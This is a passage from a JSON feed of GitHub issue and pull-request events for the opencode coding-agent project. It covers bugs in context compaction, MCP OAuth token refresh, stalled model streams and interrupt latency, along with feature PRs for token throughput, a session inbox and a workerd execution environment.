          "text": "### Description A manual `/compact` request using `opencode-go/deepseek-v4-flash` entered an intra-response repetition loop. This differs from repeatedly triggering multiple `Session compacted` cycles: one compaction request itself generated a transcript-like prefix and then repeated the same short line 1,511 times. The compaction never completed. I cancelled it after about 48 seconds, after which OpenCode recorded the message as `Aborted`. No HTTP, authentication, provider, or stream error was logged before cancellation. Related, but not identical: - #30443 - #27924 ### OpenCode version 1.18.16 ### Environment - Ubuntu Linux - TUI - Provider: `opencode-go` - Model: `deepseek-v4-flash` - Manual `/compact`, not automatic overflow compaction - No custom `compaction` agent or compaction prompt configured ### Steps to reproduce 1. Use `opencode-go/deepseek-v4-flash` in a long-running session containing normal assistant messages and tool calls. 2. Wait for the active assistant turn to finish. 3. Run `/compact` manually. 4. Observe the compaction output. ### Actual behavior - The compaction response began by reproducing part of the preceding transcript, including serialized assistant/tool-call text. - It then became stuck repeating one short line. - The persisted compaction text was 29,389 characters when cancelled. - The repeated line occurred 1,511 times in that single text part. - The final text was cut off mid-token because the request was cancelled. - OpenCode did not detect the high repetition or stop the compaction as failed. - The provider/model still completed a minimal normal text-generation request successfully after the incident. Sanitized log sequence: ```text stream providerID=opencode-go modelID=deepseek-v4-flash agent=compaction llm runtime selected ... provider=opencode-go model=deepseek-v4-flash [about 48 seconds of streaming] cancel session.id=<redacted> process ... error=Aborted ``` ### Expected behavior The compaction agent should produce a concise handoff summary. If its output becomes highly repetitive or fails to reduce the conversation meaningfully, OpenCode should stop the request, mark compaction as failed, and preserve the previous usable session state. A repetition/degeneration guard on compaction output would prevent a model or provider backend from streaming thousands of duplicate lines and consuming usage indefinitely. ### Additional context This may involve an interaction between the DeepSeek model/backend and the compaction prompt, but OpenCode currently has no client-side guard for degeneration inside a single compaction response. This report intentionally omits the full session export because it contains private project content.",
          "url": "https://github.com/anomalyco/opencode/issues/41801",
          "createdAt": "2026-08-11T16:45:00Z",
          "updatedAt": "2026-08-12T19:36:53Z",
          "timestamp": "2026-08-12T19:36:53Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "a-green-hand-jack",
          "state": "closed",
          "assignees": [
            "nexxeln"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:fba4601c006c28181487",
        "signalId": "github:anomalyco/opencode:issue:41268",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:41268",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "/compact 命令上下文丢失问题",
          "text": "### Description 在更新到 1.18.15 版本后，使用 deepseek v4 flash 官方 api 时出现了：通过 /compact 命令压缩上下文时只会输出 [Assistant tool call]: 一段shell命令 shell命令输出 类似这种结构，或者干脆就是只有一句“让我继续分析”完全没有对上下文的总结，导致第二轮对话AI忘记全部的上下文，需要重新阅读项目、重新了解现状。 目前使用过近5次compact全部是这种情况，猜测已经损坏而不是概率触发。 ### Plugins no ### OpenCode version 1.18.15 ### Steps to reproduce 1、接入deepseek官方api，思考模式改为high 2、进行多轮的问答 3、通过/compact命令压缩上下文 ### Screenshot and/or share link <img width=\"1273\" height=\"833\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/bc4d2c8a-1849-4341-ab61-4bc97d3df520\" /> ### Operating System Windows 11 ### Terminal 使用的是desktop版，并没有使用terminal版本。AI执行的全是PowerShell命令",
          "url": "https://github.com/anomalyco/opencode/issues/41268",
          "createdAt": "2026-08-08T12:27:53Z",
          "updatedAt": "2026-08-12T19:36:53Z",
          "timestamp": "2026-08-12T19:36:53Z",
          "metrics": {
            "reactions": 2,
            "comments": 2
          },
          "labels": [],
          "author": "ZiTanIOI",
          "state": "closed",
          "assignees": [
            "jlongster"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:877fc6246fc28f225d6f",
        "signalId": "github:anomalyco/opencode:pull_request:42112",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42112",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(tui): show token throughput",
          "text": "## Summary - record the first visible text timestamp and provider generation completion timestamp for each V2 assistant step - calculate per-request output speed as `(visible output tokens - 1) / (last token - first token)` - show `tok/s` for completed `stop` and `length` responses in assistant footers and turn-token diagnostics - reject tool-call, error, buffered, and sub-250ms samples instead of presenting misleading throughput This is the V2 implementation of the token-throughput requests in #5374 and #6096. The metric follows the standard TPOT/output-speed definition: TTFT and tool execution remain outside the generation window, hidden reasoning tokens are excluded, and non-streaming or too-short responses report no score. Live event projections and replayed message projections retain the same timing fields. ## Checks - `bun test test/cli/tui/data.test.tsx test/cli/tui/session-rows.test.ts` (`packages/tui`) - `bun typecheck` (`packages/tui`) - `bun test test/session-projector.test.ts test/session-runner-tool-events.test.ts` (`packages/core`) - `bun typecheck` (`packages/core`) - `bun typecheck` (`packages/schema`) - `bun typecheck` (`packages/client`) - generated client output stability check - Prettier and `git diff --check` - replayed one identical Python API benchmark through the corrected UI: Grok 4.6 Fast `29.0 tok/s`, GPT-5.6 Sol `28.1 tok/s`, Claude Fable 5 `N/A` because its final response was buffered into a 66ms sample Requested by: @R44VC0RP (vogel via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42112",
          "createdAt": "2026-08-12T18:40:20Z",
          "updatedAt": "2026-08-12T19:32:22Z",
          "timestamp": "2026-08-12T19:32:22Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "open",
          "assignees": [
            "R44VC0RP"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:c38a795596a734a6b32a",
        "signalId": "github:anomalyco/opencode:issue:42119",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42119",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Is OpenCursor Really free?",
          "text": "### Description I am Using A Free Model Called Big pickle Whenever I try to run something it says <img width=\"551\" height=\"175\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/92b8c7c5-4d17-41bc-bc7d-8d4655c5de78\" /> ### Plugins nothing ### OpenCode version 1.18.16 ### Steps to reproduce _No response_ ### Screenshot and/or share link _No response_ ### Operating System Windows 10 ### Terminal The Desktop app",
          "url": "https://github.com/anomalyco/opencode/issues/42119",
          "createdAt": "2026-08-12T18:56:16Z",
          "updatedAt": "2026-08-12T19:29:55Z",
          "timestamp": "2026-08-12T19:29:55Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "baconroaster23",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:621be0e0556e211d7258",
        "signalId": "github:anomalyco/opencode:issue:42126",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42126",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "chore: adopt opencode-drive and terminal catalog as packages/drive and packages/lab/catalog",
          "text": "## What Adopt the `anomalyco/opencode-drive` repo into this monorepo as two packages, and deploy the terminal catalog to `dev.opencode.ai/lab/catalog`. - `packages/drive` — the `opencode-drive` npm package (~24k lines TS): TUI driver, deterministic LLM, frame capture, recording, script runner, CLI. - `packages/lab/catalog` — the terminal-state catalog app (~8k lines TS/TSX/CSS + 2.7 MB capture frames), currently deployed at catalog.kitlangton.dev. `packages/lab/*` becomes the umbrella for internal design/dev tooling (precedent: nested workspaces already exist via `packages/console/*`). ## Why - Drive's whole purpose is testing OpenCode at HEAD, but from an external repo it chases published `@opencode-ai/client` next-channel snapshots (`0.0.0-next-17010` today). In-repo it becomes `workspace:*` and tests/captures run against the working tree. - Catalog captures of \"current HEAD\" stop requiring detached-worktree preparation of this repo. - Opens the door to TUI regression gates in CI using drive. - One less repo to maintain; the catalog gets first-party hosting instead of a personal domain. ## Preconditions - [ ] The in-flight theme-matrix work in `opencode-drive` lands first (full 63-state recapture at current HEAD for themes opencode/tokyonight/everforest, Notifications toast family). Do not start before that merges. ## Plan ### 1. Flat import (no history) - Copy `packages/drive` and `apps/catalog` → `packages/drive` and `packages/lab/catalog`. Clean import; history stays in the archived source repo. - Add `packages/lab/*` to root `package.json` workspaces. - Drop Changesets entirely (config, scripts, CHANGELOG workflow). If/when `opencode-drive` needs publishing from here, follow the `@opencode-ai/http-recorder` precedent. - Dependency alignment: `@opencode-ai/client` → `workspace:*`; `effect`/`@effect/*`/shared dev deps → `catalog:` entries (versions already match: bun 1.3.14, effect 4.0.0-beta.101). Keep `@opentui/core` pinned as drive requires. - Wire `typecheck` into turbo, keep package-local `bun run test` (repo rule: tests never run from root). ### 2. Capture pipeline simplification - Current-HEAD captures run directly against the working tree (no worktree prep). Keep `--revision` worktree mode for capturing historical/pinned commits. ### 3. Base path support - The app assumes root serving. Add `/lab/catalog` base: `bun build --public-path`, base constant in `deep-link.ts` URL builders, and prefixed fetches for `catalog.json` / `drive-captures.json` / capture frames. ### 4. Deploy - `packages/lab/catalog/wrangler.jsonc`: worker `opencode-lab-catalog`, assets binding, route `dev.opencode.ai/lab/catalog*` (zone `opencode.ai`). No production route on purpose — this is internal tooling; promoting it later is a two-line change. - `.github/workflows/deploy-lab-catalog.yml` cloned from `deploy-www.yml`: push to `dev` with `paths: packages/lab/catalog/**` (+ `packages/drive/**` since captures embed drive behavior), build, `wrangler deploy` with existing `CLOUDFLARE_API_TOKEN`. ### 5. Decommission - Point `catalog.kitlangton.dev` at the new worker temporarily or delete the old `opencode-terminal-catalog` worker after verifying the new URL. - Archive `anomalyco/opencode-drive` (read-only) with a README pointer. Move the `catalog`/`design-feedback` issue labels + prefilled-feedback URL target to `anomalyco/opencode` (update `src/feedback.ts`). - Migrate the repo skills/AGENTS notes that reference `opencode-drive` paths. ## Verification - `bun run lint`, `bun typecheck`, `bun run test` from both package dirs; catalog `bun run build`. - One full capture run against working-tree HEAD producing all states across the three themes. - Browser-verify `dev.opencode.ai/lab/catalog`: deep links, filters, viewer, feedback links target the new repo.",
          "url": "https://github.com/anomalyco/opencode/issues/42126",
          "createdAt": "2026-08-12T19:29:03Z",
          "updatedAt": "2026-08-12T19:29:03Z",
          "timestamp": "2026-08-12T19:29:03Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "kitlangton",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:07e8dfd5b28d496c903c",
        "signalId": "github:anomalyco/opencode:issue:34582",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:34582",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "Remote MCP OAuth: access token is not refreshed despite refresh token being present",
          "text": "### Description I'm using a remote MCP server protected by OAuth 2.0 / OIDC. The initial authentication flow succeeds, and OpenCode stores both the access token and the refresh token. However, when the short-lived access token expires, OpenCode does not appear to perform a refresh-token grant. Instead, the MCP transitions to **\"Requires Authentication\"** and all MCP calls fail until I authenticate again. ## Environment * OpenCode **1.17.11** * Remote MCP server * OAuth 2.0 / OIDC * Identity Provider: **Keycloak** * Access token lifetime: **5 minutes** * Refresh token: long-lived ## Expected behavior When the access token expires, OpenCode should use the stored refresh token (`grant_type=refresh_token`) to obtain a new access token and continue communicating with the MCP server without requiring user interaction. ## Actual behavior After the access token expires: * MCP requests fail. * `opencode mcp list` reports the server as **Requires Authentication**. * The stored refresh token does not appear to be used. * Running `opencode mcp auth <server>` restores functionality until the next access-token expiration. ## `opencode mcp debug` output (redacted) ```text $ opencode mcp debug quartermaster ┌ MCP OAuth Debug │ ● Server: quartermaster │ ● URL: https://<redacted>/mcp │ ● Auth status: ✓ authenticated │ ● Access token: eyJhbGciOiJSUzI1NiIs... │ ● Expires: 2026-06-30T15:13:10.634Z │ ● Refresh token: present │ ◇ HTTP response: 401 Unauthorized │ ● WWW-Authenticate: │ Bearer realm=\"Instructions MCP\", │ resource_metadata=\"https://<redacted>/.well-known/oauth-protected-resource\" │ ▲ Server returned 401 Unauthorized │ ● Testing OAuth flow (without completing authorization)... │ ◆ Connection successful (already authenticated) │ └ Debug complete ``` ## Additional information The OAuth server is **Keycloak**, and refresh-token flow has been verified to work correctly with other OAuth clients. The authorization server supports `grant_type=refresh_token`, and OpenCode's debug output reports: ``` Refresh token: present ``` This suggests that the refresh token is successfully stored, but is either never used or the refresh flow fails before retrying the original request. ### Plugins _No response_ ### OpenCode version 1.17.11 ### Steps to reproduce 1. Configure a remote MCP server protected by OAuth/OIDC. 2. Authenticate using: ```bash opencode mcp auth <server> ``` 3. Confirm authentication succeeds. 4. Verify with: ```bash opencode mcp debug <server> ``` that both an access token and refresh token are present. 5. Wait for the 5-minute access token to expire. 6. Invoke any MCP tool or run: ```bash opencode mcp list ``` ### Screenshot and/or share link _No response_ ### Operating System Ubuntu 24.04 ### Terminal tmux",
          "url": "https://github.com/anomalyco/opencode/issues/34582",
          "createdAt": "2026-06-30T07:36:28Z",
          "updatedAt": "2026-08-12T19:28:23Z",
          "timestamp": "2026-08-12T19:28:23Z",
          "metrics": {
            "reactions": 2,
            "comments": 4
          },
          "labels": [],
          "author": "exhuma",
          "state": "open",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:d7fc8895ce0e7e4d626b",
        "signalId": "github:anomalyco/opencode:pull_request:42113",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42113",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(server): typed no-execution-plane environment for workerd profile",
          "text": "## What Complete the workerd profile's capability story after #41918 and #42076: a bare location now has a typed no-execution-plane process spawner instead of profile-level process stubs. Shell and stdio MCP route through the location `Environment`. Bare locations fail each operation with a clear location-specific error; attaching a workspace driver automatically supplies the execution plane without changing the profile. ## How - Add `EnvironmentUnavailable` in `packages/core/src/environment/unavailable.ts`. Its `ChildProcessSpawner` fails with Effect's typed `PlatformError` channel and the message: `This location has no execution plane: no workspace is attached and the host cannot spawn processes`. - Replace the workerd profile's cross-spawn implementation with that layer and remove the hand-written `Shell.Service` replacement, allowing the standard location-scoped Shell service to build. - Settle Shell spawn failures through `Shell.create` instead of swallowing them in its managing fiber. - Lazily initialize Shell output storage only after a process spawns, so bare workerd locations do not import filesystem modules or create unused output directories. - Retire the `mcp.stdio` capability flag from core, server options, routes, and the workerd profile. Local MCP servers now attempt connection through `Environment.spawner` and record the no-plane error as `failed`. - Add core coverage for the typed spawner and MCP failed status, plus a real-workerd regression proving a failed Session shell operation releases session state and permits a later turn. ```mermaid flowchart TD L[Location] --> W{workspace attached?} W -->|yes| D[Workspace driver] W -->|no| H[Host spawner] H -->|workerd| N[No-execution-plane spawner] D --> E[Environment.spawner] N --> E E --> S[Shell] E --> M[stdio MCP] N --> F[Typed per-operation PlatformError] ``` ## Scope - This follows the workerd profile from #41918 and stdio MCP Environment routing from #42076; both are already merged into `v2`. - The workerd shell tool still encounters the profile's existing empty-WASM `ShellParse` implementation before `Shell.create`. This PR does not bypass command parsing or permission analysis; direct Shell service operations and every consumer that reaches `Environment.spawner` get the typed fallback. - Existing FileSystem, FileSystemSearch, and Pty profile replacements are unchanged because they have separate host dependencies and capability seams. ## Testing - `bun install` - `bun typecheck` in `packages/core` - `bun typecheck` in `packages/server` - `bun run test test/mcp.test.ts test/environment.test.ts test/tool-shell.test.ts` in `packages/core` (69 pass, 9 skip) - `bun run test` in `packages/workerd-spike` (6 pass, real workerd isolate) - `bun run probe:workerd` in `packages/server` (bundle probe OK, 29.9 MiB) - Push hook: `bun turbo typecheck --concurrency=3` (32 tasks passed)",
          "url": "https://github.com/anomalyco/opencode/pull/42113",
          "createdAt": "2026-08-12T18:42:19Z",
          "updatedAt": "2026-08-12T19:28:09Z",
          "timestamp": "2026-08-12T19:28:09Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:2bf41acbb63754e6a182",
        "signalId": "github:anomalyco/opencode:pull_request:42109",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42109",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "feat(core): add generic session inbox",
          "text": "## Summary - replace the input-specific pending model with a generic per-session inbox for user, synthetic, compaction, and move items - add durable inbox lifecycle events, generic steer/queue scheduling, and atomic delivery batches for compaction and move - add the pending-only session_inbox table and expose inbox list, cancel, steer, and queue APIs across generated clients and UI consumers - allow every item type to stack independently with either delivery mode ## Verification - repository pre-push typecheck: 32 packages passed - core Bus, inbox, projector, prompt, move, compaction, and runner suites: 255 tests passed - TUI selected suites: 102 tests passed - client suites: 29 tests passed - SDK Next suites: 12 tests passed - CLI selected suites: 33 tests passed - App reducer suite: 6 tests passed - Schema contract and event manifest suites passed - protocol/client/www generated checks passed - migration consistency check passed",
          "url": "https://github.com/anomalyco/opencode/pull/42109",
          "createdAt": "2026-08-12T18:30:58Z",
          "updatedAt": "2026-08-12T19:28:07Z",
          "timestamp": "2026-08-12T19:28:07Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [],
          "author": "thdxr",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:9c647216298782e65632",
        "signalId": "github:anomalyco/opencode:issue:42125",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42125",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "agents: current agent identity is not provided in model context",
          "text": "## Summary The model does not know which agent (plan, build, or custom) it is running as, because the current agent identity is not included in the model's system prompt/context. It is only discoverable by querying the server API (GET /api/session returns an \"agent\" field per session). ## Environment - opencode version: v0.0.0-next-17163 - OS: Windows_NT 10.0.26100.9168 (win32 x64) - Terminal: Unavailable (TERM_PROGRAM not set; TERM=xterm-256color) - Shell: cmd.exe (COMSPEC=C:\\Windows\\system32\\cmd.exe) - Install/channel: beta (next) - Active plugins: none found in config ## Reproduction 1. Start a TUI session with the `plan` agent (Tab to switch or `/agents`). 2. Ask the model: \"Do you know whether you are the plan or build agent?\" 3. Observe the model cannot tell from its own context. 4. Run `opencode2 api get /api/session` and find the current session's `\"agent\"` field (e.g. `\"agent\":\"plan\"`). ## Expected Behavior The model should know its current agent identity directly from its context, since the harness already stores this in session metadata. ## Actual Behavior The model's system prompt contains session ID, working directory, platform, and other environment info, but no agent identity. The model must work around this by querying the HTTP API, or it answers that it cannot know. ## Additional Context - Reproducible consistently. - Workaround: `opencode2 api get /api/session` reveals the `agent` field, but this is awkward and requires the model to use the shell tool. - Suggest including the active agent in the injected context/system prompt.",
          "url": "https://github.com/anomalyco/opencode/issues/42125",
          "createdAt": "2026-08-12T19:18:04Z",
          "updatedAt": "2026-08-12T19:20:01Z",
          "timestamp": "2026-08-12T19:20:01Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "2.0"
          ],
          "author": "UranusNo7",
          "state": "open",
          "assignees": [
            "nexxeln"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:55c7d96822c73bb3acee",
        "signalId": "github:anomalyco/opencode:issue:42013",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42013",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "error: Free usage exceeded, subscribe to Go",
          "text": "### Description The day before yesterday, I started using the OpenCode DeepSeek V4 Flash Free model via OpenCode Zen. At first, everything worked. At about 3 a.m., I went to bed. Today I decided to try it and it doesn't work for me now. The error is given by Free usage exceeded, subscribe to Go. I thought I had a problem with my account, so I changed my account. For the first few minutes, I thought I had fixed it, but no. Still the same mistake. What should I do? My friend doesn't have such a problem. ### Plugins nothing ### OpenCode version 1.18.16 ### Steps to reproduce I have already written before ### Screenshot and/or share link <img width=\"1103\" height=\"607\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/8d26bfd2-9869-488a-9894-7efaa15a5a67\" /> ### Operating System Windows 11 ### Terminal Windows Terminal",
          "url": "https://github.com/anomalyco/opencode/issues/42013",
          "createdAt": "2026-08-12T11:57:49Z",
          "updatedAt": "2026-08-12T19:18:08Z",
          "timestamp": "2026-08-12T19:18:08Z",
          "metrics": {
            "reactions": 4,
            "comments": 8
          },
          "labels": [],
          "author": "Top1Nuk1",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:6c555db2df860cfa0939",
        "signalId": "github:anomalyco/opencode:pull_request:40010",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:40010",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(provider): recover stalled model streams",
          "text": "### Issue for this PR Closes #37580 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? A model endpoint can return headers and then stop sending body data. OpenCode waits forever in that state, so a stalled child can pin a parent session. This adds a provider-neutral idle watchdog for streaming responses. The default starts at 15 minutes, learns from successful streams per provider and transport, and stays between 15 and 30 minutes. An explicit `chunkTimeout` is still a fixed override. `false`, `0`, or a negative value turns the watchdog off. The watchdog arms when the response is SSE or the request set `stream: true`. That second path matters because the ChatGPT Codex endpoint has been seen to stream without `Content-Type`. Non-streaming requests stay unchanged. A timeout becomes a typed retryable provider error and goes through the existing retry and status flow. It does not change Task orchestration, durable session records, retry policy, or UI. Related work: - #39516 expands opt-in `chunkTimeout` to every response body. This change is a zero-config adaptive default, and it only wraps requests identified as streams. - #39970 detects incomplete EOF and gaps between parsed model events, including stalls hidden by SSE keepalives. Complementary. This change is transport-level body silence. ### How did you verify your code works? Rebased onto current `dev` (no merge commit). - `bun test --timeout 30000 test/provider/header-timeout.test.ts test/provider/stream-liveness.test.ts test/session/processor-effect.test.ts test/session/retry.test.ts` in `packages/opencode` (94 passed) - `bun typecheck` in `packages/opencode` and `packages/core` - Repo pre-push typecheck: 30/30 tasks passed Not re-run after this rebase: the earlier isolated foreground Task stall E2E. ### Screenshots / recordings Not applicable. No UI changes. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
          "url": "https://github.com/anomalyco/opencode/pull/40010",
          "createdAt": "2026-08-01T06:49:28Z",
          "updatedAt": "2026-08-12T19:13:35Z",
          "timestamp": "2026-08-12T19:13:35Z",
          "metrics": {
            "reactions": 0,
            "comments": 2
          },
          "labels": [],
          "author": "dcadenas",
          "state": "open",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:f219cffdaf0ddb9a666f",
        "signalId": "github:anomalyco/opencode:pull_request:42117",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42117",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): validate tool definitions on registration",
          "text": "## Summary - validate model-facing tool definitions before mutating the Location registry - return a `Tool.RegistrationError` that names the malformed tool and includes the schema failure - preserve atomic registration batches so one invalid plugin tool cannot poison subsequent model requests Fixes #42026 ## Tests - `cd packages/core && bun test ./test/session-runner-tool-registry.test.ts` - `cd packages/core && bun typecheck` Requested by: @rekram1-node (Aiden Cline via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42117",
          "createdAt": "2026-08-12T18:52:35Z",
          "updatedAt": "2026-08-12T19:08:16Z",
          "timestamp": "2026-08-12T19:08:16Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:8033287b2573696a63de",
        "signalId": "github:anomalyco/opencode:pull_request:42123",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42123",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(tui): harden Mermaid rendering limits",
          "text": "## What Keep terminal Mermaid rendering responsive and readable for oversized or malformed diagrams, and fold wide horizontal Markdown flowcharts before they are silently clipped. ## Before / After **Before:** a long malformed flowchart statement could spend seconds backtracking in edge parsing; near-million-cell canvases could allocate hundreds of megabytes; malformed chained sequence/state transitions became phantom endpoint names; a wide grapheme could extend beyond the canvas; and the four-stage LR diagram from the OpenCode session rendered wider than the message viewport. **After:** pathological statements and oversized canvases fail through existing typed syntax/size errors, ambiguous chains are rejected, clipped wide graphemes are omitted, and Markdown flowcharts wider than 120 columns fold vertically by default. ## How - `packages/merman/src/flowchart/parser.ts` bounds statement length before edge-operator matching. - `packages/merman/src/core/canvas.ts` lowers the eager canvas allocation budget and requires a full grapheme to fit before writing it. - Sequence and state parsers reject extra arrow operators embedded in endpoints. - `packages/merman/src/markdown.ts` passes a configurable `layoutMaxWidth` into flowchart layout, capped by the renderer width. - Adds focused regressions for each case, including the exact clipped LR diagram. ## Scope This does not replace the eager canvas with a sparse representation or rewrite flowchart edge parsing as a scanner. The conservative limits protect the TUI without expanding this fix into a storage/layout redesign. ## Testing - `cd packages/merman && bun run test` (`294` passing) - `cd packages/merman && bun run typecheck` - `git diff --check`",
          "url": "https://github.com/anomalyco/opencode/pull/42123",
          "createdAt": "2026-08-12T19:03:58Z",
          "updatedAt": "2026-08-12T19:06:32Z",
          "timestamp": "2026-08-12T19:06:32Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "kitlangton",
          "state": "closed",
          "assignees": [],
          "change": "updated"
        }
      },
      {
        "id": "event:22ba8af1c04de15ed98b",
        "signalId": "github:anomalyco/opencode:pull_request:42099",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:pull_request:42099",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "pull_request",
          "title": "fix(core): preserve Copilot fallback provider",
          "text": "## Summary - rewrite models.dev GitHub Copilot fallback models to use the bundled Copilot provider package - keep the rewrite inside the GitHub Copilot catalog transform - preserve account-specific base URL overrides when live model synchronization is unavailable - cover fallback package rewriting with a provider plugin test ## Verification - `bun test test/plugin/provider-github-copilot.test.ts` - `bun typecheck` Requested by: @rekram1-node (Aiden Cline via Slack)",
          "url": "https://github.com/anomalyco/opencode/pull/42099",
          "createdAt": "2026-08-12T17:59:34Z",
          "updatedAt": "2026-08-12T19:03:29Z",
          "timestamp": "2026-08-12T19:03:29Z",
          "metrics": {
            "reactions": 0,
            "comments": 0
          },
          "labels": [
            "contributor"
          ],
          "author": "opencode-agent[bot]",
          "state": "closed",
          "assignees": [
            "rekram1-node"
          ],
          "change": "updated"
        }
      },
      {
        "id": "event:211266c08dafdbc512e9",
        "signalId": "github:anomalyco/opencode:issue:42120",
        "event": "changed",
        "observedAt": "2026-08-13T13:48:00.446149Z",
        "changedFields": [],
        "signal": {
          "id": "github:anomalyco/opencode:issue:42120",
          "source": "github",
          "group": "coding-agent-infrastructure",
          "project": "anomalyco/opencode",
          "kind": "issue",
          "title": "core: bound server-side interrupt settlement latency",
          "text": "## Problem Interrupting a running turn can take several seconds before the server settles the execution and projects its terminal state. In one observed run, shell/tool cancellation was timestamped at `16:33:49.400Z`, while the assistant terminal failure was not created until `16:34:00.946Z` and became visible around `16:34:01Z`. This is actual server-side settlement latency, not just delayed client feedback. ## Observed behavior 1. The user interrupts a turn with an active shell/provider step. 2. Tool cancellation begins promptly. 3. The interrupt request remains pending while cleanup and durable publication settle. 4. The execution does not reach its durable interrupted terminal for roughly 11.5 seconds. Several unrelated sessions resumed logging at approximately the same time, suggesting shared service contention rather than only per-session shell teardown. ## Current evidence Two independent blocking paths are confirmed in the runner: - Interrupted settlement waits for `captureStepEnd()`. A blocked end snapshot prevents both the run and interrupt request from settling. - Durable events across sessions share a single SQLite transaction permit. An unrelated open transaction can prevent the interrupted step from durably settling. The historical timestamp pattern points more strongly at durable-event/SQLite contention than end-snapshot work: event timestamps are assigned before durable publication waits, and unrelated sessions showed synchronized progress after the stall. This is not conclusive because phase-level timing was absent. Other unbounded cleanup paths remain relevant, including shell close waiting and provider stream cancellation. ## Desired outcome Interrupt settlement should have bounded latency under snapshot, database, shell, and provider contention without weakening: - durable event ordering - exact changed-file attribution - Undo/revert behavior for partial file mutations - single terminal-event semantics ## Recommended investigation 1. Add phase timing around tool terminal publication, tool-fiber joins, end-snapshot capture, changed-file calculation, step terminal publication, execution terminal publication, and shell/provider 